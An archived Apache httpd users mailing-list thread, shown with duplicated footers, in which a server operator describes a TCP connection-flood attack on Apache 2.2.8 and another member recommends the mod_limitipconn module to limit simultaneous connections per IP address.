> My question: is there possible to configure Apache HTTPd in order to
> protect it against these attacks?
>
Check out mod_limitipconn. You can restrict the number of simultaneous
connections from individual IP addresses.
http://dominia.org/djao/limitipconn.html
--
Justin Pasher
---------------------------------------------------------------------
The official User-To-User support forum of the Apache HTTP Server Project.
See <URL:http://httpd.apache.org/userslist.html> for more info.
To unsubscribe, e-mail: users-unsubscribe@httpd.apache.org
" from the digest: users-digest-unsubscribe@httpd.apache.org
For additional commands, e-mail: users-help@httpd.apache.org
---------------------------------------------------------------------
The official User-To-User support forum of the Apache HTTP Server Project.
See <URL:http://httpd.apache.org/userslist.html> for more info.
To unsubscribe, e-mail: users-unsubscribe@httpd.apache.org
" from the digest: users-digest-unsubscribe@httpd.apache.org
For additional commands, e-mail: users-help@httpd.apache.org
Re: [users@httpd] Connection flood: how to protect?
Posted by Justin Pasher <ju...@newmediagateway.com>.
Kanstantin Reznichak wrote:
>
> Hello,
>
> One of my servers was affected by TCP flood attack targeted to http
> service (Apache 2.2.8). Short attack description: an attacker opens
> large amount of TCP connections to Apache service and sends few bytes
> (for example, a single “GET / HTTP/1.1” line) to every opened
> connection. The HTTP service opens a new process for every such
> connection and waits for further input. After a short time, HTTPd runs
> out of connection limit and stops responding.
>
> Some of my servers are protected by state tracking firewall that
> protects them against such kind of attack.
>
> My question: is there possible to configure Apache HTTPd in order to
> protect it against these attacks?
>
Check out mod_limitipconn. You can restrict the number of simultaneous
connections from individual IP addresses.
http://dominia.org/djao/limitipconn.html
--
Justin Pasher
---------------------------------------------------------------------
The official User-To-User support forum of the Apache HTTP Server Project.
See <URL:http://httpd.apache.org/userslist.html> for more info.
To unsubscribe, e-mail: users-unsubscribe@httpd.apache.org
" from the digest: users-digest-unsubscribe@httpd.apache.org
For additional commands, e-mail: users-help@httpd.apache.org